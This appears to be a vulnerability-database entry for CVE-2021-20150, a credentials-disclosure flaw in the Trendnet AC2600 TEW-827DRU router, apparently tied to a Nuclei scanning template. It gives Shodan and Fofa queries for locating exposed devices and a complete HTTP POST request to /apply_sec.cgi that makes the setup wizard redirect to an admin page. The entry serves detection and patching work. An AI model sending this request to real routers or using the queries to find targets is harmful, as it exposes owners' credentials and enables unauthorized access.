| Title | Trendnet AC2600 TEW-827DRU - Credentials Disclosure |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | An attacker can obtain sensitive credentials, leading to unauthorized access to the router. |
| Remediation | Update the router firmware to the latest version to fix the vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.35186 |
| CVE ID | CVE-2021-20150 |
| CWE ID | CWE-306 |
| Shodan Query | http.html:"TEW-827DRU"http.html:"tew-827dru" |
| Fofa Query | body="tew-827dru" |
| Tags | cve2021 cve disclosure router tenable trendnet vuln |
Trendnet AC2600 TEW-827DRU version 2.08B01 improperly discloses information via redirection from the setup wizard. A user may view information as Admin by manually browsing to the setup wizard and forcing it to redirect to the desired page.
POST /apply_sec.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 99
Accept-Encoding: gzip
action=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20150.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20150.pcap
N/AN/A